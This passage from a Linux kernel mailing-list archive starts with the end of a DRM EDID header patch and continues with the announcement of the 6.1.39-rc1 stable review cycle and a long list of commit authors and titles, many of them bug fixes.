+ DRM_MODE_FLAG_PVSYNC : DRM_MODE_FLAG_NVSYNC;
}
set_size:
diff --git a/include/drm/drm_edid.h b/include/drm/drm_edid.h
index 169755d3de19..48e93f909ef6 100644
--- a/include/drm/drm_edid.h
+++ b/include/drm/drm_edid.h
@@ -61,15 +61,9 @@ struct std_timing {
u8 vfreq_aspect;
} __attribute__((packed));
-#define DRM_EDID_PT_SYNC_MASK (3 << 3)
-# define DRM_EDID_PT_ANALOG_CSYNC (0 << 3)
-# define DRM_EDID_PT_BIPOLAR_ANALOG_CSYNC (1 << 3)
-# define DRM_EDID_PT_DIGITAL_CSYNC (2 << 3)
-# define DRM_EDID_PT_CSYNC_ON_RGB (1 << 1) /* analog csync only */
-# define DRM_EDID_PT_CSYNC_SERRATE (1 << 2)
-# define DRM_EDID_PT_DIGITAL_SEPARATE_SYNC (3 << 3)
-# define DRM_EDID_PT_HSYNC_POSITIVE (1 << 1) /* also digital csync */
-# define DRM_EDID_PT_VSYNC_POSITIVE (1 << 2)
+#define DRM_EDID_PT_HSYNC_POSITIVE (1 << 1)
+#define DRM_EDID_PT_VSYNC_POSITIVE (1 << 2)
+#define DRM_EDID_PT_SEPARATE_SYNC (3 << 3)
#define DRM_EDID_PT_STEREO (1 << 5)
#define DRM_EDID_PT_INTERLACED (1 << 7)
--
2.39.2
2 years, 4 months
- 2
- 2
[PATCH 6.1 000/591] 6.1.39-rc1 review
by Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.1.39 release.
There are 591 patches in this series, all will be posted as a response
to this one. If anyone has any issues with these being applied, please
let me know.
Responses should be made by Tue, 18 Jul 2023 19:48:07 +0000.
Anything received after that time might be too late.
The whole patch series can be found in one patch at:
https://www.kernel.org/pub/linux/kernel/v6.x/stable-review/patch-6.1.39-rc1…
or in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git linux-6.1.y
and the diffstat can be found below.
thanks,
greg k-h
-------------
Pseudo-Shortlog of commits:
Greg Kroah-Hartman <gregkh(a)linuxfoundation.org>
Linux 6.1.39-rc1
Sherry Sun <sherry.sun(a)nxp.com>
tty: serial: fsl_lpuart: add earlycon for imx8ulp platform
Jason A. Donenfeld <Jason(a)zx2c4.com>
wireguard: netlink: send staged packets when setting initial private key
Jason A. Donenfeld <Jason(a)zx2c4.com>
wireguard: queueing: use saner cpu selection wrapping
Thadeu Lima de Souza Cascardo <cascardo(a)canonical.com>
netfilter: nf_tables: prevent OOB access in nft_byteorder_eval
Thadeu Lima de Souza Cascardo <cascardo(a)canonical.com>
netfilter: nf_tables: do not ignore genmask when looking up chain by id
Florent Revest <revest(a)chromium.org>
netfilter: conntrack: Avoid nf_ct_helper_hash uses after free
Ming Lei <ming.lei(a)redhat.com>
block: make sure local irq is disabled when calling __blkcg_rstat_flush
Paul Cercueil <paul(a)crapouillou.net>
MIPS: DTS: CI20: Raise VDDCORE voltage to 1.125 volts
Ming Lei <ming.lei(a)redhat.com>
blk-cgroup: Flush stats before releasing blkcg_gq
Waiman Long <longman(a)redhat.com>
blk-cgroup: Reinit blkg_iostat_set after clearing in blkcg_reset_stats()
Pablo Neira Ayuso <pablo(a)netfilter.org>
netfilter: nf_tables: unbind non-anonymous set if rule construction fails
Lukas Bulwahn <lukas.bulwahn(a)gmail.com>
mtd: parsers: refer to ARCH_BCMBCA instead of ARCH_BCM4908
Imre Deak <imre.deak(a)intel.com>
drm/i915/tc: Fix system resume MST mode restore for DP-alt sinks
Imre Deak <imre.deak(a)intel.com>
drm/i915/tc: Fix TC port link ref init for DP MST during HW readout
Imre Deak <imre.deak(a)intel.com>
drm/i915: Fix TypeC mode initialization during system resume
Liam R. Howlett <Liam.Howlett(a)oracle.com>
mm/mmap: Fix extra maple tree write
Darrick J. Wong <djwong(a)kernel.org>
xfs: fix xfs_inodegc_stop racing with mod_delayed_work
Darrick J. Wong <djwong(a)kernel.org>
xfs: disable reaping in fscounters scrub
Darrick J. Wong <djwong(a)kernel.org>
xfs: check that per-cpu inodegc workers actually run on that cpu
Darrick J. Wong <djwong(a)kernel.org>
xfs: explicitly specify cpu when forcing inodegc delayed work to run immediately
Jan Kara <jack(a)suse.cz>
fs: no need to check source
Yu Kuai <yukuai3(a)huawei.com>
blktrace: use inline function for blk_trace_remove() while blktrace is disabled
Christian Marangi <ansuelsmth(a)gmail.com>
leds: trigger: netdev: Recheck NETDEV_LED_MODE_LINKUP on dev rename
Arnd Bergmann <arnd(a)arndb.de>
ARM: orion5x: fix d2net gpio initialization
Krzysztof Kozlowski <krzysztof.kozlowski(a)linaro.org>
ARM: dts: qcom: ipq4019: fix broken NAND controller properties override
Krzysztof Kozlowski <krzysztof.kozlowski(a)linaro.org>
regulator: tps65219: Fix matching interrupts for their regulators
Ricardo Ribalda Delgado <ribalda(a)chromium.org>
ASoC: mediatek: mt8173: Fix snd_soc_component_initialize error path
Ricardo Ribalda Delgado <ribalda(a)chromium.org>
ASoC: mediatek: mt8173: Fix irq error path
Filipe Manana <fdmanana(a)suse.com>
btrfs: do not BUG_ON() on tree mod log failure at __btrfs_cow_block()
Filipe Manana <fdmanana(a)suse.com>
btrfs: fix extent buffer leak after tree mod log failure at split_node()
Filipe Manana <fdmanana(a)suse.com>
btrfs: fix race when deleting quota root from the dirty cow roots list
Naohiro Aota <naota(a)elisp.net>
btrfs: move out now unused BG from the reclaim list
Naohiro Aota <naota(a)elisp.net>
btrfs: reinsert BGs failed to reclaim
David Sterba <dsterba(a)suse.com>
btrfs: add block-group tree to lockdep classes
Naohiro Aota <naota(a)elisp.net>
btrfs: bail out reclaim process if filesystem is read-only
Naohiro Aota <naota(a)elisp.net>
btrfs: delete unused BGs while reclaiming BGs
Matt Corallo <blnxfsl(a)bluematt.me>
btrfs: add handling for RAID1C23/DUP to btrfs_reduce_alloc_profile
Abhijeet Rastogi <abhijeet.1989(a)gmail.com>
ipvs: increase ip_vs_conn_tab_bits range for 64BIT
Mario Limonciello <mario.limonciello(a)amd.com>
usb: typec: ucsi: Mark dGPUs as DEVICE scope
Wayne Chang <waynec(a)nvidia.com>
i2c: nvidia-gpu: Remove ccgx,firmware-build property
Wayne Chang <waynec(a)nvidia.com>
i2c: nvidia-gpu: Add ACPI property to align with device-tree
Jan Kara <jack(a)suse.cz>
fs: Lock moved directories
Jan Kara <jack(a)suse.cz>
fs: Establish locking order for unrelated directories
Jan Kara <jack(a)suse.cz>
Revert "f2fs: fix potential corruption when moving a directory"
Jan Kara <jack(a)suse.cz>
ext4: Remove ext4 locking of moved directory
Thomas Weißschuh <linux(a)weissschuh.net>
fs: avoid empty option when generating legacy mount string
Fabian Frederick <fabf(a)skynet.be>
jffs2: reduce stack usage in jffs2_build_xattr_subsystem()
Roberto Sassu <roberto.sassu(a)huawei.com>
shmem: use ramfs_kill_sb() for kill_sb method of ramfs-based tmpfs
Ryan Roberts <ryan.roberts(a)arm.com>
mm/damon/ops-common: atomically test and clear young on ptes and pmds
Arnd Bergmann <arnd(a)arndb.de>
autofs: use flexible array in ioctl structure
Tianjia Zhang <tianjia.zhang(a)linux.alibaba.com>
integrity: Fix possible multiple allocation in integrity_inode_get()
Kees Cook <keescook(a)chromium.org>
um: Use HOST_DIR for mrproper
Siddh Raman Pant <code(a)siddh.me>
watch_queue: prevent dangling pipe pointer
Zheng Wang <zyytlz.wz(a)163.com>
bcache: Fix __bch_btree_node_alloc to make the failure behavior consistent
Zheng Wang <zyytlz.wz(a)163.com>
bcache: Remove unnecessary NULL point check in node allocations
Mingzhe Zou <mingzhe.zou(a)easystack.cn>
bcache: fixup btree_cache_wait list damage
Quan Zhou <quan.zhou(a)mediatek.com>
wifi: mt76: mt7921e: fix init command fail with enabled device
Alexander Wetzel <alexander(a)wetzel-home.de>
wifi: ath10k: Serialize wake_tx_queue ops
Johannes Berg <johannes.berg(a)intel.com>
wifi: cfg80211: fix regulatory disconnect for non-MLO
Chevron Li <chevron.li(a)bayhubtech.com>
mmc: sdhci: fix DMA configure compatibility issue when 64bit DMA mode is used.
Ulf Hansson <ulf.hansson(a)linaro.org>
mmc: mmci: Set PROBE_PREFER_ASYNCHRONOUS
Robert Marko <robimarko(a)gmail.com>
mmc: core: disable TRIM on Micron MTFC4GACAJCN-1M
Robert Marko <robimarko(a)gmail.com>
mmc: core: disable TRIM on Kingston EMMC04G-M627
Jens Axboe <axboe(a)kernel.dk>
io_uring: wait interruptibly for request completions on exit
Jianmin Lv <lvjianmin(a)loongson.cn>
irqchip/loongson-pch-pic: Fix initialization of HT vector register
Dai Ngo <dai.ngo(a)oracle.com>
NFSD: add encoding of op_recall flag for write delegation
Liu Peibao <liupeibao(a)loongson.cn>
irqchip/loongson-pch-pic: Fix potential incorrect hwirq assignment
Shuai Jiang <d202180596(a)hust.edu.cn>
i2c: qup: Add missing unwind goto in qup_i2c_probe()
Filipe Manana <fdmanana(a)suse.com>
btrfs: do not BUG_ON() on tree mod log failure at balance_level()
Alvin Šipraga <alsi(a)bang-olufsen.dk>
extcon: usbc-tusb320: Unregister typec port on driver removal
Uwe Kleine-König <u.kleine-koenig(a)pengutronix.de>
extcon: usbc-tusb320: Convert to i2c's .probe_new()
Demi Marie Obenour <demi(a)invisiblethingslab.com>
dm ioctl: Avoid double-fetch of version
Heinz Mauelshagen <heinzm(a)redhat.com>
dm ioctl: have constant on the right side of the test
Heinz Mauelshagen <heinzm(a)redhat.com>
dm: avoid split of quoted strings where possible
Heinz Mauelshagen <heinzm(a)redhat.com>
dm: fix undue/missing spaces
Robert Hancock <robert.hancock(a)calian.com>
i2c: xiic: Don't try to handle more interrupt events after error
Danila Chernetsov <listdansp(a)mail.ru>
apparmor: fix missing error check for rhashtable_insert_fast
Artur Rojek <contact(a)artur-rojek.eu>
sh: dma: Fix DMA channel offset calculation
Thorsten Winkler <twinkler(a)linux.ibm.com>
s390/qeth: Fix vipa deletion
David Howells <dhowells(a)redhat.com>
afs: Fix accidental truncation when storing data
Hariprasad Kelam <hkelam(a)marvell.com>
octeontx-af: fix hardware timestamp configuration
Vladimir Oltean <vladimir.oltean(a)nxp.com>
net: dsa: sja1105: always enable the send_meta options
Vladimir Oltean <vladimir.oltean(a)nxp.com>
net: dsa: tag_sja1105: fix MAC DA patching from meta frames
Guillaume Nault <gnault(a)redhat.com>
pptp: Fix fib lookup calls.
Woody Zhang <woodylab(a)foxmail.com>
riscv: move memblock_allow_resize() after linear mapping is ready
Amir Goldstein <amir73il(a)gmail.com>
fanotify: disallow mount/sb marks on kernel internal pseudo fs
Lin Ma <linma(a)zju.edu.cn>
net/sched: act_pedit: Add size check for TCA_PEDIT_PARMS_EX
Ilya Maximets <i.maximets(a)ovn.org>
xsk: Honor SO_BINDTODEVICE on bind
SeongJae Park <sj(a)kernel.org>
bpf, btf: Warn but return no error for NULL btf from __register_btf_kfunc_id_set()
Eric Dumazet <edumazet(a)google.com>
tcp: annotate data races in __tcp_oow_rate_limited()
Eric Dumazet <edumazet(a)google.com>
net: fix net_dev_start_xmit trace event vs skb_transport_offset()
Vladimir Oltean <vladimir.oltean(a)nxp.com>
net: dsa: tag_sja1105: fix source port decoding in vlan_filtering=0 bridge mode
Vladimir Oltean <vladimir.oltean(a)nxp.com>
net: bridge: keep ports without IFF_UNICAST_FLT in BR_PROMISC mode
Pali Rohár <pali(a)kernel.org>
powerpc: dts: turris1x.dts: Fix PCIe MEM size for pci2 node
Randy Dunlap <rdunlap(a)infradead.org>
powerpc: allow PPC_EARLY_DEBUG_CPM only when SERIAL_CPM=y
Zeng Heng <zengheng4(a)huawei.com>
ntfs: Fix panic about slab-out-of-bounds caused by ntfs_listxattr()
Hariprasad Kelam <hkelam(a)marvell.com>
octeontx2-af: Add validation before accessing cgx and lmac
Hariprasad Kelam <hkelam(a)marvell.com>
octeontx2-af: Fix mapping for NIX block from CGX connection
Chao Yu <chao(a)kernel.org>
f2fs: fix error path handling in truncate_dnode()
Nishanth Menon <nm(a)ti.com>
mailbox: ti-msgmgr: Fill non-message tx data fields with 0x0
Mario Limonciello <mario.limonciello(a)amd.com>
drm/amd: Don't try to enable secure display TA multiple times
Christian König <christian.koenig(a)amd.com>
drm/amdgpu: fix number of fence calculations
Jonas Gorski <jonas.gorski(a)gmail.com>
spi: bcm-qspi: return error if neither hif_mspi nor mspi is available
Zhengchao Shao <shaozhengchao(a)huawei.com>
mlxsw: minimal: fix potential memory leak in mlxsw_m_linecards_init
Pawel Dembicki <paweldembicki(a)gmail.com>
net: dsa: vsc73xx: fix MTU configuration
Nick Child <nnac123(a)linux.ibm.com>
ibmvnic: Do not reset dql stats on NON_FATAL err
Luiz Augusto von Dentz <luiz.von.dentz(a)intel.com>
Bluetooth: MGMT: Fix marking SCAN_RSP as not connectable
Luiz Augusto von Dentz <luiz.von.dentz(a)intel.com>
Bluetooth: MGMT: Use BIT macro when defining bitfields
Pauli Virtanen <pav(a)iki.fi>
Bluetooth: MGMT: add CIS feature bits to controller information
Pauli Virtanen <pav(a)iki.fi>
Bluetooth: ISO: use hci_sync for setting CIG parameters
Johan Hovold <johan+linaro(a)kernel.org>
Bluetooth: fix invalid-bdaddr quirk for non-persistent setup
Tobias Heider <me(a)tobhe.de>
Add MODULE_FIRMWARE() for FIRMWARE_TG357766.
Vladimir Oltean <vladimir.oltean(a)nxp.com>
net: dsa: tag_sja1105: always prefer source port information from INCL_SRCPT
Vladimir Oltean <vladimir.oltean(a)nxp.com>
net: dsa: sja1105: always enable the INCL_SRCPT option
Vladimir Oltean <vladimir.oltean(a)nxp.com>
net: dsa: felix: don't drop PTP frames with tag_8021q when RX timestamping is disabled
Vladimir Oltean <vladimir.oltean(a)nxp.com>
net: mscc: ocelot: don't keep PTP configuration of all ports in single structure
Vladimir Oltean <vladimir.oltean(a)nxp.com>
net: mscc: ocelot: don't report that RX timestamping is enabled by default
Dmitry Baryshkov <dmitry.baryshkov(a)linaro.org>
spi: spi-geni-qcom: enable SPI_CONTROLLER_MUST_TX for GPI DMA mode
Florian Westphal <fw(a)strlen.de>
net/sched: act_ipt: add sanity checks on skb before calling target
Xin Long <lucien.xin(a)gmail.com>
net: add a couple of helpers for iph tot_len
Florian Westphal <fw(a)strlen.de>
net/sched: act_ipt: add sanity checks on table name and hook locations
Chengfeng Ye <dg573847474(a)gmail.com>
sctp: fix potential deadlock on &net->sctp.addr_wq_lock
Randy Dunlap <rdunlap(a)infradead.org>
media: cec: i2c: ch7322: also select REGMAP
Chao Yu <chao(a)kernel.org>
f2fs: check return value of freeze_super()
Vinay Belgaumkar <vinay.belgaumkar(a)intel.com>
drm/i915/guc/slpc: Apply min softlimit correctly
Jouni Högander <jouni.hogander(a)intel.com>
drm/i915/psr: Use hw.adjusted mode when calculating io/fast wake times
Christophe JAILLET <christophe.jaillet(a)wanadoo.fr>
rtc: st-lpc: Release some resources in st_rtc_probe() in case of error
Jinke Han <hanjinke.666(a)bytedance.com>
blk-throttle: Fix io statistics for cgroup v1
Ming Lei <ming.lei(a)redhat.com>
blk-cgroup: don't update io stat for root cgroup
Waiman Long <longman(a)redhat.com>
blk-cgroup: Optimize blkcg_rstat_flush()
Li Nan <linan122(a)huawei.com>
md/raid10: fix the condition to call bio_end_io_acct()
Shuijing Li <shuijing.li(a)mediatek.com>
pwm: mtk_disp: Fix the disable flow of disp_pwm
Dan Carpenter <dan.carpenter(a)linaro.org>
pwm: ab8500: Fix error code in probe()
Marek Vasut <marex(a)denx.de>
pwm: sysfs: Do not apply state to already disabled PWMs
Fancy Fang <chen.fang(a)nxp.com>
pwm: imx-tpm: force 'real_period' to be zero in suspend
Yury Norov <yury.norov(a)gmail.com>
lib/bitmap: drop optimization of bitmap_{from,to}_arr64
Claudiu Beznea <claudiu.beznea(a)microchip.com>
phy: tegra: xusb: check return value of devm_kzalloc()
Christophe JAILLET <christophe.jaillet(a)wanadoo.fr>
mfd: stmpe: Only disable the regulators if they are enabled
Yicong Yang <yangyicong(a)hisilicon.com>
hwtracing: hisi_ptt: Fix potential sleep in atomic context
Dmitry Baryshkov <dmitry.baryshkov(a)linaro.org>
clk: qcom: mmcc-msm8974: fix MDSS_GDSC power flags
Claudiu Beznea <claudiu.beznea(a)microchip.com>
misc: fastrpc: check return value of devm_kasprintf()
Daniel Golle <daniel(a)makrotopia.org>
cpufreq: mediatek: correct voltages for MT7622 and MT7623
Christian Borntraeger <borntraeger(a)linux.ibm.com>
KVM: s390/diag: fix racy access of physical cpu number in diag 9c handler
Pierre Morel <pmorel(a)linux.ibm.com>
KVM: s390: vsie: fix the length of APCB bitmap
Amelie Delaunay <amelie.delaunay(a)foss.st.com>
mfd: stmfx: Nullify stmfx->vdd in case of error
Amelie Delaunay <amelie.delaunay(a)foss.st.com>
mfd: stmfx: Fix error path in stmfx_chip_init
Laurentiu Tudor <laurentiu.tudor(a)nxp.com>
bus: fsl-mc: don't assume child devices are all fsl-mc devices
Phil Elwell <phil(a)raspberrypi.com>
nvmem: rmem: Use NVMEM_DEVID_AUTO
Yi Yingao <m202271736(a)hust.edu.cn>
nvmem: sunplus-ocotp: release otp->clk before return
Matti Vaittinen <mazziesaccount(a)gmail.com>
drivers: fwnode: fix fwnode_irq_get[_byname]()
Andy Shevchenko <andriy.shevchenko(a)linux.intel.com>
device property: Clarify description of returned value in some functions
Miaoqian Lin <linmq006(a)gmail.com>
device property: Fix documentation for fwnode_get_next_parent()
Tony Lindgren <tony(a)atomide.com>
serial: 8250_omap: Use force_suspend and resume for system suspend
Greg Kroah-Hartman <gregkh(a)linuxfoundation.org>
Revert "usb: common: usb-conn-gpio: Set last role to unknown before initial detection"
Jiasheng Jiang <jiasheng(a)iscas.ac.cn>
mfd: intel-lpss: Add missing check for platform_get_resource
Christophe JAILLET <christophe.jaillet(a)wanadoo.fr>
mfd: wcd934x: Fix an error handling path in wcd934x_slim_probe()
Christophe JAILLET <christophe.jaillet(a)wanadoo.fr>
usb: dwc3-meson-g12a: Fix an error handling path in dwc3_meson_g12a_probe()
Prashanth K <quic_prashk(a)quicinc.com>
usb: common: usb-conn-gpio: Set last role to unknown before initial detection
Christophe JAILLET <christophe.jaillet(a)wanadoo.fr>
usb: dwc3: qcom: Fix an error handling path in dwc3_qcom_probe()
Christophe JAILLET <christophe.jaillet(a)wanadoo.fr>
usb: dwc3: qcom: Release the correct resources in dwc3_qcom_remove()
Nico Boehr <nrb(a)linux.ibm.com>
KVM: s390: fix KVM_S390_GET_CMMA_BITS for GFNs in memslot holes
Chao Yu <chao(a)kernel.org>
f2fs: fix to avoid NULL pointer dereference f2fs_write_end_io()
Chao Yu <chao(a)kernel.org>
f2fs: fix potential deadlock due to unpaired node_write lock use
Bob Peterson <rpeterso(a)redhat.com>
gfs2: Fix duplicate should_fault_in_pages() call
Sergey Shtylyov <s.shtylyov(a)omp.ru>
sh: Avoid using IRQ0 on SH3 and SH4
Dan Carpenter <dan.carpenter(a)linaro.org>
media: atomisp: gmin_platform: fix out_len in gmin_get_config_dsm_var()
Rikard Falkeborn <rikard.falkeborn(a)gmail.com>
media: venus: helpers: Fix ALIGN() of non power of two
Stephan Gerhold <stephan(a)gerhold.net>
mfd: rt5033: Drop rt5033-battery sub-device
James Clark <james.clark(a)arm.com>
coresight: Fix loss of connection info when a module is unloaded
Clark Wang <xiaoning.wang(a)nxp.com>
i3c: master: svc: fix cpu schedule in spin lock
Yue Zhao <findns94(a)gmail.com>
lkdtm: replace ll_rw_block with submit_bh
Muchun Song <muchun.song(a)linux.dev>
kernfs: fix missing kernfs_idr_lock to remove an ID from the IDR
John Ogness <john.ogness(a)linutronix.de>
serial: 8250: lock port for UART_IER access in omap8250_irq()
John Ogness <john.ogness(a)linutronix.de>
serial: core: lock port for start_rx() in uart_resume_port()
John Ogness <john.ogness(a)linutronix.de>
serial: 8250: lock port for stop_rx() in omap8250_irq()
John Ogness <john.ogness(a)linutronix.de>
serial: core: lock port for stop_rx() in uart_suspend_port()
Bhupesh Sharma <bhupesh.sharma(a)linaro.org>
usb: misc: eud: Fix eud sysfs path (use 'qcom_eud')
Arnd Bergmann <arnd(a)arndb.de>
usb: hide unused usbfs_notify_suspend/resume functions
Li Yang <lidaxian(a)hust.edu.cn>
usb: phy: phy-tahvo: fix memory leak in tahvo_usb_probe()
Andy Shevchenko <andriy.shevchenko(a)linux.intel.com>
extcon: Fix kernel doc of property capability fields to avoid warnings
Andy Shevchenko <andriy.shevchenko(a)linux.intel.com>
extcon: Fix kernel doc of property fields to avoid warnings
Prashanth K <quic_prashk(a)quicinc.com>
usb: gadget: u_serial: Add null pointer check in gserial_suspend
Vladislav Efanov <VEfanov(a)ispras.ru>
usb: dwc3: qcom: Fix potential memory leak
Arnd Bergmann <arnd(a)arndb.de>
staging: vchiq_arm: mark vchiq_platform_init() static
Dmitry Baryshkov <dmitry.baryshkov(a)linaro.org>
clk: qcom: mmcc-msm8974: use clk_rcg2_shared_ops for mdp_clk_src clock
Konrad Dybcio <konrad.dybcio(a)linaro.org>
clk: qcom: dispcc-qcm2290: Fix GPLL0_OUT_DIV handling
Konrad Dybcio <konrad.dybcio(a)linaro.org>
clk: qcom: dispcc-qcm2290: Fix BI_TCXO_AO handling
Robert Marko <robimarko(a)gmail.com>
clk: qcom: ipq6018: fix networking resets
Robert Marko <robimarko(a)gmail.com>
clk: qcom: reset: support resetting multiple bits
Yunfei Dong <yunfei.dong(a)mediatek.com>
media: mediatek: vcodec: using decoder status instead of core work count
Martin Kepplinger <martink(a)posteo.de>
media: hi846: fix usage of pm_runtime_get_if_in_use()
Daniel Scally <dan.scally(a)ideasonboard.com>
media: i2c: Correct format propagation for st-mipid02
Duoming Zhou <duoming(a)zju.edu.cn>
media: usb: siano: Fix warning due to null work_func_t function pointer
Marek Vasut <marex(a)denx.de>
media: videodev2.h: Fix struct v4l2_input tuner index comment
Ming Qian <ming.qian(a)nxp.com>
media: amphion: initiate a drain of the capture queue in dynamic resolution change
Ming Qian <ming.qian(a)nxp.com>
media: amphion: drop repeated codec data for vc1g format
Ming Qian <ming.qian(a)nxp.com>
media: amphion: drop repeated codec data for vc1l format
Daniil Dulov <d.dulov(a)aladdin.ru>
media: usb: Check az6007_read() return value
Konrad Dybcio <konrad.dybcio(a)linaro.org>
clk: qcom: gcc-qcm2290: Mark RCGs shared where applicable
Mantas Pucka <mantas(a)8devices.com>
clk: qcom: gcc-ipq6018: Use floor ops for sdcc clocks
Taniya Das <quic_tdas(a)quicinc.com>
clk: qcom: camcc-sc7180: Add parent dependency to all camera GDSCs
Dmitry Baryshkov <dmitry.baryshkov(a)linaro.org>
clk: qcom: mmcc-msm8974: remove oxili_ocmemgx_clk
Tony Lindgren <tony(a)atomide.com>
serial: 8250: omap: Fix freeing of resources on failed register
Christophe JAILLET <christophe.jaillet(a)wanadoo.fr>
usb: dwc2: Fix some error handling paths
Uwe Kleine-König <u.kleine-koenig(a)pengutronix.de>
usb: dwc2: platform: Improve error reporting for problems during .remove()
John Paul Adrian Glaubitz <glaubitz(a)physik.fu-berlin.de>
sh: j2: Use ioremap() to translate device tree address into kernel memory
Yangtao Li <frank.li(a)vivo.com>
f2fs: do not allow to defragment files have FI_COMPRESS_RELEASED
Konrad Dybcio <konrad.dybcio(a)linaro.org>
dt-bindings: power: reset: qcom-pon: Only allow reboot-mode pre-pmk8350
Dan Carpenter <error27(a)gmail.com>
w1: fix loop in w1_fini()
Stefan Wahren <stefan.wahren(a)i2se.com>
w1: w1_therm: fix locking behavior in convert_t
Ding Hui <dinghui(a)sangfor.com.cn>
SUNRPC: Fix UAF in svc_tcp_listen_data_ready()
Filipe Manana <fdmanana(a)suse.com>
btrfs: fix race when deleting free space root from the dirty cow roots list
Demi Marie Obenour <demi(a)invisiblethingslab.com>
block: increment diskseq on all media change events
Michael Schmitz <schmitzmic(a)gmail.com>
block: change all __u32 annotations to __be32 in affs_hardblocks.h
Michael Schmitz <schmitzmic(a)gmail.com>
block: add overflow checks for Amiga partition support
Michael Schmitz <schmitzmic(a)gmail.com>
block: fix signed int overflow in Amiga partition support
Takashi Iwai <tiwai(a)suse.de>
ALSA: pcm: Fix potential data race at PCM memory allocation helpers
Takashi Iwai <tiwai(a)suse.de>
ALSA: jack: Fix mutex call in snd_jack_report()
Werner Sembach <wse(a)tuxedocomputers.com>
ALSA: hda/realtek: Add quirk for Clevo NPx0SNx
Andy Chi <andy.chi(a)canonical.com>
ALSA: hda/realtek: Enable mute/micmute LEDs and limit mic boost on EliteBook
Suren Baghdasaryan <surenb(a)google.com>
mm/mmap: Fix VM_LOCKED check in do_vmi_align_munmap()
Hersen Wu <hersenxs.wu(a)amd.com>
Revert "drm/amd/display: edp do not add non-edid timings"
Sean Nyekjaer <sean(a)geanix.com>
iio: accel: fxls8962af: fixup buffer scan element type
Sean Nyekjaer <sean(a)geanix.com>
iio: accel: fxls8962af: errata bug only applicable for FXLS8962AF
Fabrizio Lamarque <fl.scratchpad(a)gmail.com>
iio: adc: ad7192: Fix internal/external clock selection
Fabrizio Lamarque <fl.scratchpad(a)gmail.com>
iio: adc: ad7192: Fix null ad7192_state pointer access
EJ Hsu <ejh(a)nvidia.com>
phy: tegra: xusb: Clear the driver reference in usb-phy dev
Krishna Kurapati <quic_kriskura(a)quicinc.com>
usb: dwc3: gadget: Propagate core init errors to UDC during pullup
Davide Tronchin <davide.tronchin.94(a)gmail.com>
USB: serial: option: add LARA-R6 01B PIDs
Yu Kuai <yukuai3(a)huawei.com>
md/raid1-10: fix casting from randomized structure in raid1_submit_write()
Thomas Gleixner <tglx(a)linutronix.de>
x86/efi: Make efi_set_virtual_address_map IBT safe
Will Deacon <will(a)kernel.org>
arm64: sme: Use STR P to clear FFR context field in streaming SVE mode
Arnd Bergmann <arnd(a)arndb.de>
ksmbd: avoid field overflow warning
Paulo Alcantara <pc(a)manguebit.com>
smb: client: fix broken file attrs with nodfs mounts
Shyam Prasad N <sprasad(a)microsoft.com>
cifs: do all necessary checks for credits within or before locking
Shyam Prasad N <sprasad(a)microsoft.com>
cifs: prevent use-after-free by freeing the cfile later
Ard Biesheuvel <ardb(a)kernel.org>
efi/libstub: Disable PCI DMA before grabbing the EFI memory map
Sami Tolvanen <samitolvanen(a)google.com>
kbuild: Disable GCOV for *.mod.o
Martin Kaiser <martin(a)kaiser.cx>
hwrng: st - keep clock enabled while hwrng is registered
Tarun Sahu <tsahu(a)linux.ibm.com>
dax/kmem: Pass valid argument to memory_group_register_static
Dan Williams <dan.j.williams(a)intel.com>
dax: Introduce alloc_dev_dax_id()
Dan Williams <dan.j.williams(a)intel.com>
dax: Fix dax_mapping_release() use after free
Bharath SM <bharathsm(a)microsoft.com>
SMB3: Do not send lease break acknowledgment if all file handles have been closed
Olga Kornievskaia <kolga(a)netapp.com>
NFSv4.1: freeze the session table upon receiving NFS4ERR_BADSESSION
Qi Zheng <zhengqi.arch(a)bytedance.com>
NFSv4.2: fix wrong shrinker_id
Hareshx Sankar Raj <hareshx.sankar.raj(a)intel.com>
crypto: qat - unmap buffers before free for RSA
Hareshx Sankar Raj <hareshx.sankar.raj(a)intel.com>
crypto: qat - unmap buffer before free for DH
Herbert Xu <herbert(a)gondor.apana.org.au>
crypto: qat - Use helper to set reqsize
Herbert Xu <herbert(a)gondor.apana.org.au>
crypto: kpp - Add helper to set reqsize
Masahiro Yamada <masahiroy(a)kernel.org>
ARC: define ASM_NL and __ALIGN(_STR) outside #ifdef __ASSEMBLY__ guard
Dan Carpenter <dan.carpenter(a)linaro.org>
modpost: fix off by one in is_executable_section()
Stephan Müller <smueller(a)chronox.de>
crypto: jitter - correct health test during initialization
Arnd Bergmann <arnd(a)arndb.de>
crypto: marvell/cesa - Fix type mismatch warning
Masahiro Yamada <masahiroy(a)kernel.org>
modpost: fix section mismatch message for R_ARM_{PC24,CALL,JUMP24}
Masahiro Yamada <masahiroy(a)kernel.org>
modpost: fix section mismatch message for R_ARM_ABS32
Randy Dunlap <rdunlap(a)infradead.org>
crypto: nx - fix build warnings when DEBUG_FS is not enabled
Masahiro Yamada <masahiroy(a)kernel.org>
modpost: remove broken calculation of exception_table_entry size
Herbert Xu <herbert(a)gondor.apana.org.au>
hwrng: virtio - Fix race on data_avail and actual data
Eric Farman <farman(a)linux.ibm.com>
vfio/mdev: Move the compat_class initialization to module init
Xinghui Li <korantli(a)tencent.com>
PCI: vmd: Fix uninitialized variable usage in vmd_enable_domain()
Yoshihiro Shimoda <yoshihiro.shimoda.uh(a)renesas.com>
PCI: endpoint: functions/pci-epf-test: Fix dma_chan direction
Shunsuke Mie <mie(a)igel.co.jp>
PCI: endpoint: Fix a Kconfig prompt of vNTB driver
Shunsuke Mie <mie(a)igel.co.jp>
PCI: endpoint: Fix Kconfig indent style
Aneesh Kumar K.V <aneesh.kumar(a)linux.ibm.com>
powerpc/mm/dax: Fix the condition when checking if altmap vmemap can cross-boundary
Aneesh Kumar K.V <aneesh.kumar(a)linux.ibm.com>
powerpc/book3s64/mm: Fix DirectMap stats in /proc/meminfo
Tiezhu Yang <yangtiezhu(a)loongson.cn>
riscv: uprobes: Restore thread.bad_cause
Manivannan Sadhasivam <mani(a)kernel.org>
PCI: qcom: Disable write access to read only registers for IP v2.9.0
Manivannan Sadhasivam <mani(a)kernel.org>
PCI: qcom: Use DWC helpers for modifying the read-only DBI registers
Manivannan Sadhasivam <mani(a)kernel.org>
PCI: qcom: Use lower case for hex
Manivannan Sadhasivam <mani(a)kernel.org>
PCI: qcom: Sort and group registers and bitfield definitions
Manivannan Sadhasivam <mani(a)kernel.org>
PCI: qcom: Remove PCIE20_ prefix from register definitions
Aditya Gupta <adityag(a)linux.ibm.com>
powerpc: update ppc_save_regs to save current r1 in pt_regs
Nicholas Piggin <npiggin(a)gmail.com>
powerpc: simplify ppc_save_regs
